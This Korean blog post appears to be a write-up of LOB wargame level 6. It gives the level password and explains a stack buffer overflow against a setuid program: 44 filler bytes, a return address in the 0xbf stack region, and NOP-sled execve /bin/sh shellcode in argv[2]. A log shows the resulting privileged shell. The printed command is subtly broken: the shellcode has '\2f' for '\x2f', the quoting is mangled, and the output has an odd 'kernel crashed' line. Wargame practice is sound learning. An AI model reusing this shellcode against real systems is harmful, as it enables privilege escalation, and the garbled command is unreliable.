반응형
LOB Level 6.
pw='love eyuna'
일단 한 줄씩 보자면, char형 buffer[40] 선언했고, argc가 2미만일 경우는 오류 메시지를 출력한다. egg hunter 환경 변수는 사용 금지한다. argv[1][47]와 “\xbf“와 같지 않다면, 오류 메시지를 출력 후 종료한다. 단 strlen(arg[1])는 길이를 체크하는 C함수이다.
즉 argv[1]의 길이가 48이 넘을 경우에는 오류를 출력하고 종료. strcpy는 argv[1]에 있는 것들을 buffer에 복사한다. printf는 buffer를 출력한다. memset으로 buffer를 40까지 0으로 초기화한다.
일단 argv[2]에 쉘 코드를 넣는다. gdb로 argv[2]가 메모리에 올라오는 주소를 찾는다. buffer(40)+ebp(4)+argv[2]의 주소값 (즉 return address) gdb로 argv[2]가 시작되는 주소를 찾는다. 일단 우회해야 될 것은 argv[1][47]!=“\xbf”이다. 즉 배열은 0부터 시작되기 때문에 47를 채우고, “\bf”를 채우면, 47의 자리에는 bf가 들어간다. 또 argv[1]의 길이가 48이상이여야 된다는 것이다. 왜냐하면 44+ret니까 48이 넘지 않게 되어야 되기 때문이다.
x/1000x $esp로 확인 가능하다.
[wolfman@localhost wolfman]$ ./darkelf 'python -c 'print"A"*44+"\x10"+"\xfc"+"\xff"+"\xbf"'' python -c 'print"\x90" * 100+ "\x31\xc0\x50\x68\x2f\2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bash$ id uid = 505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman) bash$ my-pass euid = 506 kernel crashed bash$
반응형
'# Related site issues > LOB' 카테고리의 다른 글
LOB Level 8. (0) | 2018.03.28 |
---|---|
LOB Level 7. (0) | 2018.03.28 |
LOB Level 5. (0) | 2018.03.28 |
LOB Level 4. (0) | 2018.03.27 |
LOB Level 3. (0) | 2018.03.27 |